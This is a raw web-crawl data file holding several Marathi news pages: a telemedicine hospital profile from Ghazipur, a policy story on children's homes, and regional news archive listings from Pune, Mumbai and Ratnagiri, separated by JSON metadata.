मुलं आणि म्हातारी माणसंच आढळतात. यांपैकी कधी कोणाला गंभीर स्वरूपाचा आजार झाला तर, त्याला इलाजासाठी शहरात हलवणंही मुश्कील होऊन गेलंय.\nगाझीपूरजवळ एका खेड्यात राहणा-या मीना शर्मा या महिलेत आपल्या गरोदरपणाच्या शेवटच्या टप्प्यात जीवघेण्या स्वरूपाची गुंतागुंत निर्माण झाली. गाझीपुरात असलेल्या टेलिमेडिसिन सेवेला धन्यवाद द्यावेत तितके कमीच आहेत, कारण टेलिमेडिसिनमुळंच त्यांच्या जलदगतीनं तपासण्या होऊ शकल्या आणि त्यामुळं नेमकी समस्या काय आहे हे कळू शकलं. बनारसहून केवळ दोन तासात डॉक्टर्स गाझीपुरात दाखल झाले. योग्य रक्तदाताही अगदी वेळेत मिळवता आला आणि त्यामुळं अकाली जन्माला आलेलं बाळ आणि बाळंतीण, अशा दोघांचेही प्राण वाचू शकले.\nदरी भरून काढणारा जी. व्ही. मेडिटेक\nबनारस जवळ गाझीपुरात राहणारे, स्त्रीरोगतज्ञ आणि प्रसुती शास्त्रातल्या तज्ञ असलेल्या डॉ. इंदू सिंग यांना जगभर प्रवास करत प्रसिद्ध डॉक्टरांसोबत काम करण्याच्या अनेक संधी चालून आल्या होत्या. त्यांनी मिळवलेल्या अनुभवामुळं त्या राहत असलेल्या भागातल्या गरजू लोकांना त्यांना चांगल्या वैद्यकीय सोईसुविधा पुरवता आल्या. शिवाय त्यांच्या व्यवसायाला मजबूत बनवता आलं. डॉ. इंदू सिंग यांनी १९९२ ला बनारसमध्ये अत्यावश्यक वैद्यकीय़ सोईसुविधांनी युक्त असलेलं जी. व्ही. मेडिटेक नावाचं प्रसुती आणि बालकांसाठी छोटं रूग्णालय उभं केलं.\nआपल्या आधुनिक वैद्यकीय सेवा पुरवण्याच्या प्रयत्नांबद्दल डॉ. इंदू सिंग सांगतात, “ माझे पती आणि मी, आम्ही दोघेही गाझीपूर आणि मिर्झापूरच्या लोकांशी जोडले गेलो आहोत. कारण आम्ही दोघेही याच परिसरातले आहोत. इलाजासाठी लोकांना इकडे तिकडे धावाधाव करायला लागू नये म्हणून आम्ही गाझीपूर आणि मिर्जापूर अशा दोन ठिकाणी उपग्रह केंद्रं सुरू केली आहेत. आता गावांमध्ये केवळ वयस्कर, स्त्रिया आणि मुलच तेवढी राहतात, तरूण नोकरीसाठी शहरांमध्ये स्थलांतरीत झाले आहेत. त्यामुळं आजारी माणसांना बनारसला आणण्यासाठी या गावांमध्ये कुणीच नाही. ”\nICT आणि टेलिमेडिसीन सोईसुविधा\nसंपूर्ण डेटा संगणकीकरण करण्याव्यतिरिक्त जी. व्ही. मेडिटेक पुरवत असलेल्या टेलिमेडिसिन या वैद्यकीय सेवेची ICT हा कणा आहे.\nड़ॉ. इंदू सिंग यांच्या वैद्यकीय केंद्रात सतत गर्दी असते\nड़ॉ. इंदू सिंग यांच्या वैद्यकीय केंद्रात सतत गर्दी असते\nरुग्णांना अगदी थेट टेलिमेडिसिनचे उपाय करण्यासाठी विशिष्टपणे तयार केलेली उपकरणं ही एकदा का गाझीपुरातल्या रुग्णांना ब्लड प्रेशर मोजणे, ईसीजी काढणे अशासाठी जोडली गेली की बनारसमध्ये बसलेले डॉक्टर सुद्धा ही उपकरणं हाताळू शकतात. आणि समजा एखाद्या रूग्णाची काही गंभीर स्वरूपाची तक्रार असेल, तर तो रूग्ण थेट आपल्या मोबाईल फोनला जोडल्या गेलेल्या टेलिमेडिसिन सुविधेद्वारे बनारसच्या डॉक्टरांशी संपर्क साधू शकतो. उपग्रह केंद्रांव्यतिरिक्त जी. व्ही. मेडिटेकनं गेल्या १० वर्षांच्य़ा काळात १५० शिबिरं आयोजित केली आहेत. डॉ. इंदू याबाबत माहिती देताना सांगतात, “ आम्ही रूग्णांना व्यक्तिगत स्वरूपात भेटून बोलू शकलो. यापुढच्या काळात देखील रुग्णांना आम्ही अधिक सहजपणे भेटू अशी परिस्थिती आमच्या वैद्यकीय शिबिरांनी निर्माण केली आहे. हाच आमच्या शिबिरांचा उत्कृष्ट भाग आणि परिणाम आहे.” गावक-यांनी विनंती केल्यानंतर जी. व्ही. मेडिटेक अशी वैद्यकीय शिबिरं आयोजित करतं. गावातली कुटुंबं शिबिरं आयोजित करणा-या डॉक्टरांच्या जेवणाची सोय करून त्यांच्या कार्यात आपला मदतीचा हात देतात. या शिबिरांमध्ये गावातल्या शाळेतले विद्यार्थी आणि शिक्षक स्वयंसेवक म्हणून काम करतात. प्रत्येक शिबिरात हे डॉक्टर्स ३००० ते ४००० रूग्णांना तपासतात आणि त्यांना मोफत औषधं देखील पुरवतात.\nजी.व्ही. मेडिटेकनं लाईफलाईन एक्सप्रेस/जीवनरेखा एक्सप्रेस ही मोबाईल हॉस्पीटल ट्रेन बनारसमध्ये तीन दिवसांसाठी आणली होती. गाझीपूरमध्ये ही ट्रेन तीन आठवडे सेवा देत होती. शिबिरांमध्ये २८,००० लोकांवर इलाज केले गेले. यात ४५० डोळ्यांच्या शस्त्रक्रिया आणि ५० दुभंगलेल्या ओठांवर शस्त्रक्रिया करण्यात आल्या.\nदुर्दैवानं, निधी अभावी गरजू रूग्णांना शस्त्रक्रियेसाठी तिष्ठत रहावं लागतं. डॉ. इंदू म्हणतात,“ डॉक्टरांना प्रेरित करणं आणि निधी गोळा करणं ही सर्वात मोठी आव्हानं आहेत. अल्पपतपुरवठा करणा-या संस्थांना मदत करायला लोक तयार असतात, पण आरोग्यासाठी ते पुढं येत नाहीत. या क्षेत्रात संयमी गुंतवणूकदारांची गरज आहे. कारण परतावा मिळण्यासाठी निदान तीन वर्षं तरी लागतातच.” जी. व्ही. मेडिटेक लिमिटेडकडं ६५ डॉक्टर्स आहेत. बनारसच्या आसपास असणा-या १५ जिल्ह्यांमध्ये आणि उत्तर प्रदेशचा पूर्व भाग, पश्चिम बिहार आणि झारखंडातल्या जवळजवळ ७१ लाख लोकांना हे ६५ डॉक्टर्स गेली २० वर्षांपासून आपली वैद्यकीय सेवा पुरवताहेत. एका वर्षाच्या कालावधीत हे डॉक्टर्स दहा लाख रुग्णांना बाह्यरुग्ण विभागात तपासतात, २५,५५२ मुलांना जन्म देतात, ३२,४५२ शस्त्रक्रिया पार पाडतात तर ६४,००० रुग्णांना औषधं लिहून देतात.\nडॉ. इंदू सांगतात, “ गाझीपूरच्या आसपासच्या परिसरातल्या लोकांना वैद्यकीय सेवा मिळावी म्हणून मी आणखी ४ केंद्रं स्थापन करण्याचा विचार करते आहे. ही केंद्र सूक्ष्म चिकित्सालयं असतील. प्रत्येक केंद्रामध्ये वैद्यकीय जागृती करणारी, शिक्षण देणारी आणि रक्त तपासणी करणारी तज्ञ असलेली पॅरामेडिक व्यक्ती असेल. वैद्यकीय सेवा मिळाली नाही, किंवा दूर्लक्ष झालं अशा कारणांमुळं कुणीही दगावू नये हे आमचं अंतीम धेय्य आहे.” या सगळ्या व्यवस्थेला मदत व्हावी या उद्देशानं तरुण, तरूणींना शिक्षण देऊन, प्रशिक्षण देऊन या सूक्ष्म चिकित्सालयात त्यांना नोकरी द्यायची असा ही त्यांचा प्रयत्न आहे.\nया तरुणी जागरूकता निर्माण करण्यासाठी गरीब महिलांना मोफत सॅनिटरी नॅपकिन्सचे वाटप करतात \nटॉकबिज'च्या रूपाने व्हाट्सऍपला पर्याय, पुण्यातील तरुणाची तंत्रज्ञानात गरुडझेप \nक्लासले: ग्रामीण विद्यार्थ्यांच्या सामाजिक शिक्षणाचे व्यासपीठ\nदिल्लीतील ‘पुरानी हवेली’ ते 'जयपोर'चा ऑनलाईन यशस्वी प्रवास\n‘नवरंग’ म्हणजे हस्तकलेत निपुण असलेल्या कारागिरांची संजीवनी\n‘गेटमायपिअन’- वडापाव घरपोच करण्यापासून ते विमानतळावरून पाहुण्यांना आणण्यापर्यंतची सेवा देणारा अभिनव उपक्रम\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00280.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://pclive7.com/tag/%E0%A4%B8%E0%A4%BE%E0%A4%B9%E0%A4%BF%E0%A4%A4%E0%A5%8D%E0%A4%AF/", "date_download": "2018-09-25T17:59:28Z", "digest": "sha1:VFEUYYO7KBUANK5RS5LZGA5NKVU4JZX3", "length": 5788, "nlines": 66, "source_domain": "pclive7.com", "title": "साहित्य | PCLIVE7.com – Pimpri Chinchwad News, Pune News Live.", "raw_content": "\nपिंपरी चिंचवड शहराचा बुधवारी विस्कळीत व कमी दाबाने पाणीपुरवठा\n१५ दिवसांत शास्तीकर भरा अन् ९० टक्के सवलत मिळवा; स्थायी समितीचा निर्णय\n६० वर्षीय महिलेचा स्वाईन फ्लूने मृत्यू; पिंपरी चिंचवडमधील २३ वा बळी\nपिंपरीतील फुल बाजाराच्या स्थलांतरावर शिक्कामोर्तब\n‘स्वराज्यरक्षक संभाजी’ या मालिकेतील कलावंतांशी शनिवारी चिंचवडला मुक्त संवाद\nमहापालिका मुख्यालयात वैद्यकीय कक्ष सुरू करा; विरोधी पक्षनेते दत्ता साने यांची मागणी\nवायसीएमच्या दारातच रूग्णाची ‘हेळसांड’, अर्धातासाच्या प्रतिक्षेनंतर उपचार सुरू\nनाना काटे सोशल फाऊंडेशनच्या मूर्तीदान उपक्रमाला उस्फूर्त प्रतिसाद; १२ हजार ३०० मूर्तींचे केले संकलन\nढोल ताशांच्या गजराज उन्न’ती’च्या गणपतीचे विसर्जन\nधक्कादायक : हिंजवडीतील अत्याचार प्रकरणी आणखी दोघांना अटक\nज्येष्ठ नाट्यसमीक्षक व साहित्य अभ्यासक डॉ. मनीषा दीक्षित यांचे निधन\nपुणे (Pclive7.com):- ज्येष्ठ नाट्यसमीक्षक आणि मराठी साहित्याच्या अभ्यासक डॉ. मनीषा दीक्षित यांचे आज पहाटे ४ वाजता त्यांच्या राहत्या घरी अल्पशा आजाराने निधन झाले. त्या ७१ वर्षांच्या होत्या. त...\tRead more\nवाचनसंस्कृती वाढवली तरच मराठी भाषा अधिक समृद्ध होईल – डाॅ. लक्ष्मीकांत देशमुख\nपिंपरी (Pclive7.com):- वाचनसंस्कृती वाढवली तरच मराठी भाषा अधिक समृद्ध होईल, त्यासाठी गावोगावी समृद्ध ग्रंथालये उभी राहिली पाहिजेत. मराठी भाषेविषयीचे प्रेम वाढत नाही तोपर्यंत सरकारदेखील भाषेक...\tRead more\nसंमेलनाध्यक्ष साधणार पिंपरी चिंचवडकरांशी ‘मुक्त संवाद’\nपिंपरी (Pclive7.com):- दिशा सोशल फाऊंडेशनच्या वतीने मंगळवार दि.२३ जानेवारी २०१८ रोजी सायंकाळी ५ वाजता चिंचवड मोरवाडी येथे अॅटो क्लस्टर सभागृहात बडोदे येथे होणाऱ्या अखिल भारतीय मराठी साहित्य...\tRead more\nस्वावलंबन ही आत्मनिर्भरतेची पहिली पायरी – इंदुमती जोंधळे\nपिंपरी (Pclive7.com):- स्वावलंबन ही आत्मनिर्भरतेची पहिली पायरी आहे. आत्मनिर्भर झालो तरच ठरवलेले कोणतेही ध्येय सहज गाठता येते. मुलांनी आपली स्वतःची दिशा ओळखून मार्गक्रमण करावे. आपल्याला स्वतः...\tRead more\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00281.warc.wet.gz", "language": "mr", "language_score": 0.94, "bucket": "all"} {"url": "http://www.esakal.com/uttar-maharashtra/women-child-development-nashik-news-114472", "date_download": "2018-09-25T17:37:13Z", "digest": "sha1:6WUF2AIGLC72Q5DKT3LUP73JNT6TW6JD", "length": 14624, "nlines": 175, "source_domain": "www.esakal.com", "title": "Women Child Development nashik news \"महिला बालविकास'चे तुघलकी फर्मान | eSakal", "raw_content": "\n\"महिला बालविकास'चे तुघलकी फर्मान\nसोमवार, 7 मे 2018\nनाशिक - राज्यातील काळजी व संरक्षणाची गरज असलेल्या हजारो बालकांना देशोधडीस लावण्याचा महिला व बालविकास विभागाने जणू चंगच बांधला की काय, अशी शंका निर्माण करणारे तुघलकी फर्मान नुकतेच जारी करण्यात आले आहे. निराश्रित बालकांच्या बालगृह या महत्त्वाकांक्षी योजनेच्या मुळावरच घाव घातला आहे.\nनाशिक - राज्यातील काळजी व संरक्षणाची गरज असलेल्या हजारो बालकांना देशोधडीस लावण्याचा महिला व बालविकास विभागाने जणू चंगच बांधला की काय, अशी शंका निर्माण करणारे तुघलकी फर्मान नुकतेच जारी करण्यात आले आहे. निराश्रित बालकांच्या बालगृह या महत्त्वाकांक्षी योजनेच्या मुळावरच घाव घातला आहे.\nसध्या महाराष्ट्रात स्वयंसेवी संस्थांची बालगृहे बाल न्याय (मुलांची काळजी व संरक्षण) अधिनियम 2006च्या कलम 23 अन्वये तहहयात कालावधीसाठी नोंदणी प्रमाणपत्र घेऊन सुरू आहेत. या अधिनियमान्वये 100 मुलांच्या बालगृहाला 5500 चौरस फूट इमारत व 11 कर्मचाऱ्यांचा आकृतिबंध शासन निर्णयाने बंधनकारक केलेला असताना नव्याने आलेल्या बाल न्याय (मुलांची काळजी व संरक्षण) अधिनियम 2015 च्या तरतुदीनुसार 100 मुलांसाठी 17 हजार चौरस फूट इमारत, 60 कर्मचारी, निती आयोगाच्या दर्पण पोर्टलवर संस्थेची माहिती अपडेट करून 20 मे 2018 पर्यंत ऑनलाइन नोंदणी प्रमाणपत्र अर्ज भरण्याचे पत्र 3 मे रोजी पुणेस्थित महिला व बालविकास आयुक्तालयाने जारी केले आहे. या कालावधीत ऑनलाइन अर्ज सादर न करणाऱ्या संस्थांची मान्यता रद्द करण्याबरोबरच बालगृहात बालके ठेवणाऱ्या संस्थांवर अधिनियमातील कलम 42 नुसार फौजदारी खटले दाखल करून त्यांना तुरुंगवास व एक लाख रुपये दंड ठोठावण्याचा थेट इशाराच देण्यात आल्याने आयुक्तालयाचे हे पत्र म्हणजे लोकशाहीतील \"तुघलकी फर्मान' असल्याची प्रतिक्रिया बालविकास संस्थाचालक व कर्मचारी संघटनेचे नेते शिवाजी जोशी, आर. के. जाधव, माधवराव शिंदे, संजय गायकवाड, देविदास बच्छाव, राम शिंदे यांनी \"सकाळ'शी बोलताना व्यक्त केली.\nबाल न्याय अधिनियमान्वये काळजी व संरक्षणाची गरज असलेली बालके शासनाच्या व स्वयंसेवी संस्थांच्या बालगृहांमध्ये सारख्याच निकषाने पाठवली जात असताना नोंदणी प्रमाणपत्रासाठी, मात्र शासकीय बालगृहांना ऑनलाइन अर्ज न करता ऑफ लाइन अर्ज भरण्याची सवलत दिल्याने हा सरळ दुजाभाव असल्याचा आरोप बालविकास संस्थाचालक व कर्मचारी संघटनेने केला आहे.\n- स्वयंसेवी बालगृहे :- 950\n- नोंदणी प्रमाणपत्रप्राप्त बालगृहे :- 710\n- शासकीय बालगृहे :- 45\nसध्या आहे त्या इमारतींचे पंधरा दिवसांत तीन पटीत रूपांतर करून कर्मचाऱ्यांची सध्याची अकरा संख्या थेट साठ करणे, हे जादुई काम बालगृहांना करायला लावून त्यांच्या जवळील अमर्याद कालावधीसाठी असलेले कायदेशीर प्रमाणपत्र नाकारणे म्हणजेच बालकांना बालगृहापासून वंचित ठेवण्याचा हा नियोजित कुटिल डाव आहे.\n- रवींद्रकुमार जाधव, बालमानस व सामाजिक समस्या विश्‍लेषक\nबाळासाहेब खोटे बोलतात : गुलाबराव गावंडे\nअकोला : राष्ट्रवादी काँग्रेसचे सर्वेसर्वा आणि महाराष्ट्रातील बहुजनांचे नेते शरद पवार यांच्यामुळेच भारिप बहुजन महासंघाचे नेते अॅड. बाळासाहेब...\nबीड : महाराष्ट्र, कर्नाटक व मध्यप्रदेश, उत्तरप्रदेश व राजस्थान या राज्यांतील अनेक जिल्ह्यांत भौतिक, आर्थिक व औद्योगिक विकासाला चालना मिळण्यासाठी...\nशरद पवारांनी सोडविली दोन वाहिन्यांमधील 'कुस्ती'\nपुणे- कुस्ती स्पर्धा भरविण्यावरुन दोन मराठी वाहिन्यांमध्ये सुरु असलेल्या वादावर शरद पवार यांनी मध्यस्थी केली आहे. या दोन्ही वाहिन्यांनी कुस्तीगीर...\nसोलापुरात शायनिंग महाराष्ट्र महाप्रदर्शन\nसोलापूर : राज्यसभेचे खासदार अमर साबळे यांच्या संकल्पनेतून दिल्ली येथील सांसा फाऊंडेशनच्यावतीने बुधवार 26 ते शुक्रवार 28 सप्टेंबर या कालावधीत गांधीनगर...\nपशुसेवेच्या शतकी परंपरेची इंडिया रेकॉर्डकडून दखल\nसांगली - संस्थानकाळात पहिला पशुवैद्यकीय दवाखाना सुरु करणारे आणि शतकभरापुर्वी सांगलीतून पहिली पशुवैद्यक शास्त्रातील सर्जन म्हणून पदवी मिळवणारे डॉ...\nरिफंड आणि इतर आर्थिक व्यवहार\nरिफंड आणि इतर आर्थिक व्यवहार\nतनिष्का स्त्री प्रतिष्ठा अभियान\nतनिष्का स्त्री प्रतिष्ठा अभियान\nसकाळ इंटरनॅशनल लर्निंग सेंटर\nसकाळ इंटरनॅशनल लर्निंग सेंटर\neSakal च्या बातम्यांसाठी सबस्क्राईब करा\neSakal च्या महत्वाच्या बातम्यांची आणि ब्रेकिंग न्यूजची नोटिफिकेशन्स तत्काळ मिळविण्यासाठी सबस्क्राईब करा.\n* आपण नोटिफिकेशनसंबंधी हवे ते बदल ब्राऊजर सेटिंग्जमध्ये जाऊन कधीही करू शकता.\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00281.warc.wet.gz", "language": "mr", "language_score": 0.97, "bucket": "all"} {"url": "http://www.tarunbharat.com/news/category/editions/mumbai/page/60", "date_download": "2018-09-25T17:27:59Z", "digest": "sha1:LNICKDNVG4ZZL4XMRVETBD3WH5XEO24K", "length": 9476, "nlines": 50, "source_domain": "www.tarunbharat.com", "title": "मुंबई Archives - Page 60 of 251 - तरुण भारत | तरुण भारत", "raw_content": "\nनाणारवरील लक्ष विचलित करण्यासाठी मुंबईचा विकास आराखडा\nराष्ट्रवादीचे प्रदेशाध्यक्ष सुनील तटकरे यांचा आरोप नाणारची अधिकृत माहिती सरकारकडे नाही मुंबई / प्रतिनिधी नाणार येथील प्रस्तावित तेल शुध्दीकरण प्रकल्पाला कडाडून विरोध होत असल्याने जनतेचे नाणारवरील लक्ष विचलित करण्यासाठी मुख्यमंत्री देवेंद्र फडणवीस यांनी मुंबईचा विकास आराखडा जाहीर केल्याचा आरोप राष्ट्रवादी काँग्रेसचे प्रदेशाध्यक्ष सुनील तटकरे यांनी गुरुवारी येथे केला. राज्याची राजधानी असलेल्या मुंबईच्या विकास आराखडय़ाची माहिती महापालिका आयुक्त आणि नगरविकास ...Full Article\nकेडीएमसीत पालिका, वाहतूक पोलीस, आरटीओची संयुक्तिक बैठक कल्याण / प्रतिनिधी वाहतूक कोंडी सोडविण्यासाठी कल्याण-डोंबिवली महानगर पालिकेत लोकप्रतिनिधी, पालिका अधिकारी, पोलीस, ट्राफिक, आरटीओ या विभागांची संयुक्त बैठक संपन्न झाली. या ...Full Article\nराज्यभरात शिकाऊ डॉक्टरांचे आंदोलन\n3 मे पर्यंत विद्यावेतन वाढीचा अल्टीमेटम मुंबई / प्रतिनिधी राज्यभरातील 3 हजार शिकाऊ (इंटर्न) डॉक्टरांनी गुरुवारी शांततेत आंदोलन केले. त्यांना देण्यात येणारे विद्यावेतन अत्यंत तुटपुंजे असून 6 हजार प्रतिमहिना ...Full Article\nप्रदेशाध्यक्षपदासाठी जयंत पाटील,शशिकांत शिंदे यांच्यात चुरस 29 एप्रिलला पुण्याच्या बैठकीत होणार निर्णय मुंबई / प्रतिनिधी लोकसभा आणि विधानसभा निवडणुकीच्या पार्श्वभूमीवर महाराष्ट्र प्रदेश राष्ट्रवादी काँग्रेसच्या नेतृत्वाला नवा चेहरा देण्याचे निश्चित ...Full Article\nनाशिकमधून नरेंद्र दराडे यांना उमेदवारी; कर्नाटकात काही जागा लढविणार शिवसेना करणार भाजपशी सामना आगामी निवडणुका स्वबळावर लढविण्याची घोषणा केलेल्या शिवसेनेने गुरुवारी विधानपरिषदेच्या नाशिक स्थानिक स्वराज्य संस्था प्राधिकारी मतदारसंघातून नरेंद्र ...Full Article\nफक्त आठ तालुक्यांतच दुष्काळ कसा \nविखे-पाटील यांचे मुख्यमंत्र्यांना पत्र मुंबई / प्रतिनिधी राज्यातील अनेक जिल्हे भीषण दुष्काळाने होरपळून निघाले असताना सरकार फक्त आठ तालुक्यांतच दुष्काळ कसा जाहीर करते, असा प्रश्न उपस्थित करून हा प्रकार ...Full Article\nतलावात बुडून दोन अल्पवयीन बहिणींचा मृत्यू\nऑनलाईन टीम / पालघर : पालघरमधील आगवन तलावात बुडून दोन अल्पवयीन सख्या बहिणींचा दुदैवी मृत्यू झाल्याची घटना घडली आहे. मृत मुलींची नावे खुशबू माच्छी आणि सुरक्षा माच्छी अशी आहेत. ...Full Article\nविदर्भातील उष्णतेत वाढ, तापमान 44 अंशावर\nऑनलाईन टीम / नागपूर : विदर्भातील अनेक भागात उष्णतेत वाढ होत आहे. उष्णतेचा सर्वाधिक परिणाम हा चंद्रपूर, अकोला, अमरावती, नागपूर, गडचिरोली, गोंदिया या जिल्हय़ांमध्ये जाणवत आहे. सध्या अमरावती आणि ...Full Article\nशिवसेनेच्या नेत्याच्या हत्येचा कट पत्नीकडूनच\nऑनलाईन टीम / मुंबई : शिवसेनेचे नेते शैलेश निमसे यांच्या हत्यप्रकरणी पत्नी साक्षी निमसे हिला ठाणे ग्रामीण पोलिसांनी अटक केली आहे. साक्षीसह प्रमोद लुटे या आरोपीला अटक करण्यात आली ...Full Article\nअहमदनगर दुहेरी हत्याकांड ; विशाल कोतकरला अटक\nऑनलाईन टीम / अहमदनगर : अहमदनगरमधील शिवसेना पदाधिकाऱयांच्या दुहेरी हत्याकांड प्रकरणातील मुख्य आरोपी विशाल कोतकरला पोलिसांनी अटक केली आहे. विशाल कोतकरला पुणे जिह्यातून अटक केल्याचे वृत्त काही वृत्तवाहिन्यांनी दिले ...Full Article\nपाच सत्रांच्या घसरणीला ब्रेक\nघोटाळे, थकबाकीदारांविरोधात बँकांनी कारवाई करावी\nदूरसंचार क्षेत्रात 6.2 अब्ज डॉलर्सची विदेशी गुंतवणूक\nव्यापारी संघटनांचा 28 रोजी भारत बंद\nभारताची तेल मागणी वाढणार\nजुलैमध्ये 11 लाख रोजगारनिर्मिती\nटँकरच्या भाडय़ातून 310 कोटी लुटले\nपण लक्षात कोण घेतो\nसौंदर्य तर मनांत असते\nCategories Select CategoryAutomobilesleadingnewsNew Category NameTop NewsVideoआवृत्तीउद्योगकोल्हापुरक्रिडागोवापुणेबेळगांवभविष्यमनोरंजनमाहिती / तंत्रज्ञानमुंबईरत्नागिरीराष्ट्रीय-आंतरराष्ट्रीयविविधाविशेष वृत्तसंपादकिय / अग्रलेखसांगलीसातारासिंधुदुर्गस्थानिक\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00281.warc.wet.gz", "language": "mr", "language_score": 0.96, "bucket": "all"} {"url": "http://www.tarunbharat.com/news/category/editions/ratnagiri/page/11", "date_download": "2018-09-25T17:15:19Z", "digest": "sha1:IIY24PBDQCECMSWX4LT44TJLAI7RZTWD", "length": 9904, "nlines": 50, "source_domain": "www.tarunbharat.com", "title": "रत्नागिरी Archives - Page 11 of 176 - तरुण भारत | तरुण भारत", "raw_content": "\nYou are here: Home » आवृत्ती » रत्नागिरी\nधामणदिली हद्दीत रस्ता खचला वाहनचालकांचा जीव मुठीत, प्रशासनाच्या बेफिकीरी कायम घाटाची सुरक्षितता रामभरोसे राजू चव्हाण /खेड जिल्हय़ाचे मुख्य प्रवेशद्वार असलेला कशेडी घाट सध्या ‘डेंजरझोन’मध्ये आहे. मुसळधार पावसामुळे धामणदिवी हद्दीतील रस्ता खचला असून महामार्गावरून धावणाऱया वाहनचालकांना जीव मुठीत धरून मार्गक्रमण करावे लागत आहे. वाहने हाकताना सतर्कता बाळगण्याचे आवाहन करण्यापलिकडे प्रशासनाकडून कोणत्याच उपाययोजना होत नसल्याने घाटाची सुरक्षितता ‘रामभरोसे’ आहे. रत्नागिरी व ...Full Article\nराज्यातील सर्वात दुषित नद्यांमध्ये ‘वाशिष्ठी’\nचिपळूणसाठी धक्कादायक, मात्र पाण्याची गुणवत्ता सरासरी मर्यादित प्रदूषण नियंत्रण मंडळाचे स्पष्टीकरण प्रतिनिधी /चिपळूण पेंद्रीय प्रदूषण नियंत्रण मंडळाच्या अहवालानुसार देशात एकूण 317 नद्या प्रदूषित असून त्यामध्ये महाराष्ट्रातील 56 नद्यांचा समावेश ...Full Article\nमिऱया बंधाऱयाची तातडीने दुरूस्ती\nजिल्हाधिकारी प्रदीप पी. यांच्या सूचना ग्रामस्थ, अधिकाऱयांसमवेत पाहणी तज्ञ संस्थेमार्फत होणार सर्वेक्षण कायमस्वरूपी उपाययोजनेची ग्वाही प्रतिनिधी /रत्नागिरी उधाणाच्या भरतीने वाताहात झालेल्या मिऱया किनाऱयावरील धुपप्रतिबंधक बंधाऱयाची मंगळवारी जिल्हाधिकारी प्रदीप पी ...Full Article\nविक्री व वापरावर कारवाईचे आदेश जि. प. कडून कडक अंमालबजावणीच्या सूचना नियमभंग करणाऱयांना ग्रामपंचायतींना 5 हजाराचा दंड प्रतिनिधी /रत्नागिरी राज्य सरकारने लागू केलेल्या प्लास्टीक बंदीच्या आदेशाची आता ग्रामपंचायतस्तरावरही कडक ...Full Article\nराजापूर नगराध्यक्षपदी काँग्रेस आघाडीचे जमीर खलिफे\nभाजपसह सेना उमेदवाराचा केला 1642 मतांनी पराभव विजयामुळे काँग्रेसने नगर परिषदेवर वर्चस्व राखले कायम संधीचे सोने करण्यात शिवसेना सपशेल अपयशी प्रतिनिधी /राजापूर राजापूर नगर परिषदेच्या नगराध्यक्षपदाच्या पोटनिवडणुकीत काँग्रेस ...Full Article\nतुळसुंदे बंदरात बोट बुडाली\nदुसऱया बोटीसह 10 मच्छीमारांना वाचवण्यात आले यश किनारपट्टीवर उधाणाची चौथ्या दिवशीही दहशत सुरूच समुद्राच्या उधाणाने सोमवारीही घातले थैमान मिऱया धूपप्रतिबंधक बंधाऱयाची ठिकठिकाणी वाताहात अलावा, पंधरामाड, भाटीमिऱयावरील संकट गंभीर हर्णै-पाजपंढरीत ...Full Article\nमिऱया-पंधरामाडमध्ये 70 फुट बंधारा गिळंकृत भाटय़े बीच 5 फुटाने खचला, सुरूबनाला फटका वॉच टॉवरलाही धोका प्रतिनिधी /रत्नागिरी शुक्रवारी आमवास्येपासून सुरू झालेल्या ‘हायटाईड’ने कोकण किनारपट्टीवर दाणादाण उडवून दिली आहे. रत्नागिरीतील ...Full Article\nदापोलीत श्वेतक्रांतीची नवी ‘प्रभात’\nमाटवणमध्ये आता नवीन दुध संकलन केंद्र सुरू म्हशीच्या दुधाला 50 रूपयांचा आसपास दर केंद्रामुळे दुग्ध व्यवसायाला गती येण्याची चिन्हे राजगोपाल मयेकर /दापोली तालुक्यात गेली अनेक वर्षे शासकीय दुध डेअरीशी ...Full Article\nवादळी वाऱयांसह ‘तरणा’ धुवाँधार\nजिल्हय़ात अनेक ठिकाणी घरांची पडझड जी. जी. पी. एस. चे पत्रे उडाले लांजात धाब्यात घुसले पुराचे पाणी प्रशासनाकडून खबरदारीचे आवाहन प्रतिनिधी /रत्नागिरी ‘पुर्नवसू’ (तरणा) नक्षत्रामध्ये जिल्हावासीयांना चांगलाच दणका दिला ...Full Article\nभीषण अपघातात नाणार उपसरपंच ठार\nराजापूरनजीक बस-सुमोची समोरासमोर धडक सुमो गाडीचा चक्काचूर, 3 गंभीर 20 प्रवासी किरकोळ जखमी वार्ताहर /राजापूर राजापूर शहरालगतच्या कोंढेतड-कणेरी दरम्यान एसटी बस आणि सुमो यांच्यामध्ये समोरासमोर झालेल्या भीषण अपघातात ...Full Article\nपाच सत्रांच्या घसरणीला ब्रेक\nघोटाळे, थकबाकीदारांविरोधात बँकांनी कारवाई करावी\nदूरसंचार क्षेत्रात 6.2 अब्ज डॉलर्सची विदेशी गुंतवणूक\nव्यापारी संघटनांचा 28 रोजी भारत बंद\nभारताची तेल मागणी वाढणार\nजुलैमध्ये 11 लाख रोजगारनिर्मिती\nटँकरच्या भाडय़ातून 310 कोटी लुटले\nपण लक्षात कोण घेतो\nसौंदर्य तर मनांत असते\nCategories Select CategoryAutomobilesleadingnewsNew Category NameTop NewsVideoआवृत्तीउद्योगकोल्हापुरक्रिडागोवापुणेबेळगांवभविष्यमनोरंजनमाहिती / तंत्रज्ञानमुंबईरत्नागिरीराष्ट्रीय-आंतरराष्ट्रीयविविधाविशेष वृत्तसंपादकिय / अग्रलेखसांगलीसातारासिंधुदुर्गस्थानिक\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00281.warc.wet.gz", "language": "mr", "language_score": 0.94, "bucket": "all"} {"url": "https://mahasports.co.in/this-time-fawad-did-bring-his-bat-only-to-figure-out-mid-way-that-he-was-carrying-the-wrong-set-of-gloves/", "date_download": "2018-09-25T17:03:08Z", "digest": "sha1:FHEATNLHBDQVZGJWEMGVNGZS4OBSCM6G", "length": 6524, "nlines": 62, "source_domain": "mahasports.co.in", "title": "Video: तेव्हा तो बॅट विसरला होता आणि आता तर -", "raw_content": "\nVideo: तेव्हा तो बॅट विसरला होता आणि आता तर\nVideo: तेव्हा तो बॅट विसरला होता आणि आता तर\nऑस्ट्रेलियाचा 